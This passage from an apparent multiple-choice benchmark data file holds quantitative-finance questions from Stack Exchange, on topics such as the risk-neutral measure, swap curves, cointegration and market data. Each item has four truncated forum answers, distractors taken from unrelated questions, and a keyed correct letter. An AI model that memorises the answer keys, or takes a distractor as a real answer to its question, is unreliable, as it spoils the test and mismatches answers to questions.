interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "B": "Volatility is mean reverting if the underlying security doesn't drop to zero. If the security has some underlying \"value\" then its price is co-integrated with that \"value\". The volatility is the uncertainty of that price as it tracks the security's \"value\". Edit 12/03/2011 ================================================= @pteetor, I may have missed something, but the question was \" Why is volatility mean-reverting?\". I realize that the standard answer is that the VIX (I'm assuming he's asking about the VIX) is related to the historical volatility of the S&P. A simple version of that relationship provides a reasonable R^2 (see Fig. 1). It relates...", "C": "The term has a different meaning to different people. to econometricians, microstructure noise is a disturbance that makes high frequency estimates of some parameters (e.g. realized volatility) very unstable. Generally this strand of the literature professes agnosticism as to the its origin; to market microstructure researchers, microstructure noise is a deviation from fundamental value that is induced by the characteristics of the market under consideration, e.g. bid-ask bounce, the discreteness of price change, latency, and asymmetric information of traders. The last example is frequently cited but I don't think it is accurate. Asymmetric information does not have to be a...", "D": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2360/what-exactly-is-meant-by-microstructure-noise"} {"id": "finance_6988", "domain": "finance", "question_title": "How do we use option price models (like Black-Scholes Model) to make money in practice?", "question_body": "In quantitative finance, we know we have a lot of option price models such as geometric Brownian motion model (Black-Scholes models), stochastic volatility model (Heston), jump diffusion models and so on, my question is how can we use these models to make money in practice? My comments: Because we can read option price from the market, by these models (Black-Scholes), we can get the implied volatility, then we may use this implied volatility to compute other exotic option price, then we can make money by selling/buying this exotic option as a market maker, is this the only way to make money? For stocks, we know that if we have a better model to predict future stock prices, then we can make money, but for option, it seems that we didn't use these models to predict the future option prices? so how can we make money with these models?", "question_score": 35, "question_tags": ["option-pricing", "black-scholes", "models"], "choices": {"A": "In order to answer your question (for you) you would need something to compare to . You would need numbers to know if it is slower/faster, how much, and if it will impact your system overall. Also knowing your performance goals could narrow down the options. My advice is to take a look at your overall architecture of the sytem you have or intend to build. To just look at QuickFIX is rather meaningless without the whole chain involved in processing information and reacting to it . As an example, say QuickFIX is 100 times faster than some part (in...", "B": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a...", "C": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "D": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/6988/how-do-we-use-option-price-models-like-black-scholes-model-to-make-money-in-pr"} {"id": "finance_55239", "domain": "finance", "question_title": "Explaining the Risk Neutral Measure", "question_body": "What is the Risk Neutral Measure? I don't believe this has been answered on the internet well and with all the parts connecting. So: What is the risk neutral measure/pricing? Why do we need it? How we calculate the risk neutral measure or probabilities in practice? What connection has risk neutral pricing to the drift of a SDE? Does this help with 3)?", "question_score": 35, "question_tags": ["option-pricing", "stochastic-processes", "risk-neutral-measure", "pricing", "martingale"], "choices": {"A": "Intro: Great answer given by Kevin. I would like to contribute an additional perspective. My experience with and my understanding of the Risk Neutral measure is entirely based on \"no arbitrage\" and \"replication / hedging\" arguments. The way I would like to explain this view is via the following three-step construction : (i) First, I want to build the intuition with a one-period discrete model: only a single stock and a risk-free account, no derivatives . The aim is to show that even without trying to price derivatives, one can create a mathematical object called a \"risk-neutral probability measure\", just...", "B": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "C": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "D": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/55239/explaining-the-risk-neutral-measure"} {"id": "finance_14567", "domain": "finance", "question_title": "What is the Swap Curve?", "question_body": "What is the so-called Swap Curve, and how does it relate to the Zero Curve (or spot yield curve)? Does it only refer to a curve of swap rates versus maturities found in the market? Or is it a swap equivalent of a spot-yield curve constructed from bootstrapping a bond yield curve? The context of this question is set against a backdrop of a plethora of terminology (that seems to be used interchangeably). I am looking into how the so-called Zero Curve (or spot yield curve) is constructed in order to discount various IR derivatives (including swaps) when pricing them.", "question_score": 34, "question_tags": ["yield-curve", "swaps", "interest-rate-swap"], "choices": {"A": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently...", "B": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "C": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "D": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/14567/what-is-the-swap-curve"} {"id": "finance_148", "domain": "finance", "question_title": "What is the role of stochastic calculus in day-to-day trading?", "question_body": "I work with practical, day-to-day trading: just making money. One of my small clients recently hired a smart, new MFE. We discussed potential trading strategies for a long time. Finally, he expressed surprise that I never mentioned (much less used) stochastic calculus, which he spent many long hours studying in his MFE program. I use the products of stochastic calculus (e.g., the Black-Scholes equation) but not the calculus itself. Now I am wondering, does stochastic calculus play a role in day-to-day trading strategies? Am I under-utilizing a potentially valuable tool? If this client was a Wall Street investment bank that was making markets in complicated derivatives, I'm sure their research department would use stochastic calculus for modeling. But they're not, so I'm not sure how we would use stochastic calculus. ( Full disclosure: I have Masters degrees but not a PhD. I'm an applied mathematician, not a theoretician.)", "question_score": 33, "question_tags": ["differential-equations", "stochastic-calculus"], "choices": {"A": "Martingales + Markovian Here is the motivation. Conditional expectations are martingales by the tower property of conditional expectations (an easy exercise to show). Suppose $r=0$, by the risk neutral pricing theorem $E^\\star\\left[h(X_T)\\bigg|\\mathscr{F}_t,\\,X_t=x\\right]$ is the price of any derivative security with $X$ as the underlying asset and payoff function $h$ assuming for the moment that the underlying security and the derivative itself pay no intermediate cashflows. In a Markovian setting, it must be the case that the price of the derivative is a measurable function of the current asset price and the time to maturity only, say a function $g(t, x)$....", "B": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "C": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "D": "This is pure speculation: MFE's are really tailored toward valuation models (how can we develop a model to price x swap, etc.). You don't entirely have to worry about those details in order to trade them: you're just quoted a price based on these models. But if you go in-house at a bank and are working as a product quant (structured products, etc.), then you really need to worry about these things. Alternatively, it could be relevant to a trading strategy if you think that the current model is mispricing things and there's an arbitrage opportunity. This is why banks..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/148/what-is-the-role-of-stochastic-calculus-in-day-to-day-trading"} {"id": "finance_613", "domain": "finance", "question_title": "What is the best data structure/implementation for representing a time series?", "question_body": "I was wondering what is best practice for representing elements in a time series, especially with large amounts of data. The focus/context is in a back testing engine and comparing multiple series. It seems there are two options: 1) Using an integer index, or 2) Using a date-based index At the moment I am using dates, but this impacts on performance & memory usage in that I am using a hash table rather than an array, and it requires some overhead in iteration (either forward or backwards) as I have to determine the next/previous valid date before I can access it. However, it does let me aggregate data on the fly (e.g. building the ohlc for the previous week when looking at daily bars) and most importantly for me allows me to compare different series with certainty I am looking at the same date/time. If I am looking at an equity issue relative to a broader index, and say the broader index is missing a few bars for whatever reason, using an integer indexed array would mean I'm looking at future data for the broad index vs present data for the given security. I don't see how you could handle these situations unless you're using date/times. Using integer indexes would be a lot easier code wise, so I was just wondering what others are doing or if there is best practice with this.", "question_score": 33, "question_tags": ["data", "time-series", "market-data"], "choices": {"A": "Representing time series (esp. tick data) using elaborate data structures may be not the best idea. You may want to try to use two arrays of the same length to store your time series. The first array stores values (e.g. price) and the second array stores time. Note that the second series is monotonically increasing (or at least non-decreasing), i.e. it's sorted. This property enables you to search it using the binary search algorithm. Once you get an index of a time of interest in the second array you also have the index of the relevant entry in the first...", "B": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "C": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "D": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/613/what-is-the-best-data-structure-implementation-for-representing-a-time-series"} {"id": "finance_942", "domain": "finance", "question_title": "Any known bugs with Yahoo Finance adjusted close data ?", "question_body": "Yahoo Finance allows you to download tables of their daily historical stock price data. The data includes an adjusted closing price that I thought I might use to calculate daily log returns as a first step to other kinds of analyses. To calculate the adj. close you need to know all the splits and dividends, and ex-div and ex-split dates. If someone gets this wrong it should create some anomalous returns on the false vs. true ex dates. Has anyone seen any major problems in the adj. closing price data on Yahoo Finance?", "question_score": 33, "question_tags": ["data", "equities", "adjustments", "yahoo"], "choices": {"A": "Yahoo rounds the adjusted price to 2 decimals even though dividend amounts often have 3 decimal places. Since they apply the adjustment formula to adjusted prices, if you go far enough back in time, the value they give for Adjusted Price will be different than it would be if there were no rounding. edit: For example, for C (Citigroup), on January 2, 1990, Yahoo gives a close value of 29.37 and an Adjusted value of 1.50. Using the dividend data that Yahoo supplies, if they didn't round to cents on every adjustment, the adjusted value would be 1.677.", "B": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "From my experience, EODData is pretty much that you get what you pay for. Its not a very sophisticated product. They email you the files you subscribe to, and thats that. I have had an issue before of where the emails didn't go through anymore and I never heard anything from them. On Quality, I can't make a claim on its accuracy. It seems good. I find issue with three things about the data: There is no way to signal an exchange change It doesn't give you an easy way to grab the symbol info [Names, etc] If there is..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/942/any-known-bugs-with-yahoo-finance-adjusted-close-data"} {"id": "finance_219", "domain": "finance", "question_title": "What is the intuition behind cointegration?", "question_body": "What is the intuition behind cointegration? What does the Dickey-Fuller test do to test for it? Ideally, a non-technical explanation would be appreciated. Say you need to explain it to an investor and justify why your pairs trading strategy should make him rich!", "question_score": 32, "question_tags": ["time-series", "statistics", "cointegration", "intuition"], "choices": {"A": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "B": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "C": "It's an interesting question. I particularly agree with the $\\mathbb{Q}-\\mathbb{P}$ dichotomy mentioned by many. I would add to the other answers that, come to think of it, the Black-Scholes postulated Geometric Brownian Motion could be interpreted as an AR(1) process on the logarithm of the stock price as you discretise the SDE from which it is a solution, which is exactly what you do when running Monte-Carlo simulations (same thing for the Ornstein-Uhlenbeck process as explained here and noted by @Richard). Actually, when taking the continuous-time limit, many more econometric models can be shown to correspond to stochastic processes frequently...", "D": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/219/what-is-the-intuition-behind-cointegration"} {"id": "finance_2707", "domain": "finance", "question_title": "How do you mix quantitative asset allocation with qualitative views?", "question_body": "Usually in asset allocation you have a quantitative approach (which can be from example mean-variance), but you (or you and your firm) also have a more qualitative approach given market-conditions, economic outlooks, or tactical indicators. Hence, you will eventually come up with 2 allocations, the ones strictly dictated by the numbers $w^*$ which is the result of your quantitative algorithm and the one you have in mind from your personal expectations $\\bar{w}$. What are common the ways $f$ to mix them together such that $w=f(w^*,\\bar{w})$ is your \"final\" allocation?", "question_score": 32, "question_tags": ["asset-allocation"], "choices": {"A": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "B": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "C": "I think you're overlooking a third explanation: Nobody that found a successful technique to generate alpha has published it. I can think of the following causes: If you're an academic, why share your brilliant idea? These techniques require a lot of data and financial data can be expensive, researches that work at firms that have access to this data don't share their findings with the public. Academics did find a lot of signals already the old fashioned way. Despite this, fancy techniques such as AAD and Reinforcement Learning are discussed publicly. These methods don't generate any alpha however.", "D": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2707/how-do-you-mix-quantitative-asset-allocation-with-qualitative-views"} {"id": "finance_5981", "domain": "finance", "question_title": "What are the advantages/disadvantages of these approaches to deal with volatility surface?", "question_body": "I would like to know if someone could provide a summarized view of the advantages and disadvantages of the approaches on the volatility surface issues, such as: Local vol Stochastic Vol (Heston/SVI) Parametrization (Carr and Wu approach)", "question_score": 32, "question_tags": ["volatility"], "choices": {"A": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "B": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "C": "Your questions about contango in VIX futures have close analogies in options too. The Black & Scholes model suggests that all time frames and all strikes should have the same implied volatility, but they don't. I think one of the reasons is that the B&S model assumes that stock returns are distributed in a normal (gaussian) distribution, but the actual returns don't match a gaussian distribution all that well. For example the actual occurrence of big crashes / gains is much more likely than a normal distribution would predict. Since crashes do occur people are willing to pay what the...", "D": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/5981/what-are-the-advantages-disadvantages-of-these-approaches-to-deal-with-volatilit"} {"id": "finance_44", "domain": "finance", "question_title": "What methods do you use to improve expected return estimates when constructing a portfolio in a mean-variance framework?", "question_body": "One of the main problems when trying to apply mean-variance portfolio optimization in practice is its high input sensitivity. As can be seen in ( Chopra , 1993) using historical values to estimate returns expected in the future is a no-go, as the whole process tends to become error maximization rather than portfolio optimization . The primary emphasis should be on obtaining superior estimates of means , followed by good estimates of variances. In that case, what techniques do you use to improve those estimates ? Numerous methods can be found in the literature, but I'm interested in what's more widely adopted from a practical standpoint . Are there some popular approaches being used in the industry other than Black-Litterman model? Reference: Chopra, V. K. & Ziemba, W. T. The Effect of Errors in Means, Variances, and Covariances on Optimal Portfolio Choice . Journal of Portfolio Management , 19: 6-11, 1993.", "question_score": 31, "question_tags": ["modern-portfolio-theory", "mean-variance", "expected-return", "estimation"], "choices": {"A": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a...", "B": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "C": "Hey, it's early days yet. After all it is still called MODERN portfolio theory. I think there are two main issues and they are both really cultural: 1) specifying alphas 2) wild results Alphas I agree with Gappy that alphas are the key thing you need to have effectiveness (unless you are doing minimum variance). Having a vector of expected returns is quite a natural thing for quant managers. But it is something foreign to fundamental managers. They have to map their views into a number for each asseet in the universe. That is not necessarily an easy task, and...", "D": "Short of having a 'reasonable' predictive model for expected returns and the covariance matrix, there are a couple lines of attack. Shrinkage estimators (via Bayesian inference or Stein-class of estimators) Robust portfolio optimization Michaud's Resampled Efficient Frontier Imposing norm constraints on portfolio weights Naively, shrinkage methods 'shrink' (of course,no?) your estimates (arrived at using historical data), toward some global mean or some target. Within the mean-variance framework, you can use the shrinkage estimators, for both, the expected returns vector, as well as the covariance matrix. Jorion introduced application of a 'Bayes-Stein estimator' to portfolio analysis. Bradley & Efron have a..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/44/what-methods-do-you-use-to-improve-expected-return-estimates-when-constructing-a"} {"id": "finance_332", "domain": "finance", "question_title": "Any research on how natural language processing can be used to forecast stocks?", "question_body": "Is there any published research of decent quality linking news or unstructured information to asset returns? I know that Thomson Reuters offers its Machine Readable news (MRN), so somebody must use it. But I can't find much in the public domain.", "question_score": 31, "question_tags": ["equities", "forecasting", "research", "prediction", "nlp"], "choices": {"A": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "B": "A general model (with continuous paths) can be written $$ \\frac{dS_t}{S_t} = r_t dt + \\sigma_t dW_t^S $$ where the short rate $r_t$ and spot volatility $\\sigma_t$ are stochastic processes. In the Black-Scholes model both $r$ and $\\sigma$ are deterministic functions of time (even constant in the original model). This produces a flat smile for any expiry $T$. And we have the closed form formula for option prices $$ C(t,S;T,K) = BS(S,T-t,K;\\Sigma(T,K)) $$ where $BS$ is the BS formula and $\\Sigma(T,K) = \\sqrt{\\frac{1}{T-t}\\int_t^T \\sigma(s)^2 ds}$. This is not consistent with the smile observed on the market. In order to match...", "C": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "D": "I know that I have seen things like this in the past. Wasn't there something recently that used Twitter? Here are a few recent papers as examples, although I will be brutally honest that I don't know if they speak to your decent quality requirement: \"Trading Strategies to Exploit Blog and News Sentiment\" (Zhang, Skiena 2010) \"The Predictive Power of Financial Blogs\" (Frisbee 2010) \"An analysis of verbs in financial news articles and their impact on stock price\" (Schumaker 2010)"}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/332/any-research-on-how-natural-language-processing-can-be-used-to-forecast-stocks"} {"id": "finance_9911", "domain": "finance", "question_title": "Book on market microstructure", "question_body": "Can I get some recommendations for a book on market microstructure? I'm not looking for some author's questionable methods for trading, I'm just looking for a book that provides me with facts about how order books, closing auctions, order execution, etc. really works. I'm also NOT looking for the type of depth that a HFT would be interested in. I know that whole books can be written about the various plumbing of a particular exchange. I'm simply looking for a general overview of how exchanges work.", "question_score": 31, "question_tags": ["market-microstructure", "books"], "choices": {"A": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "B": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A 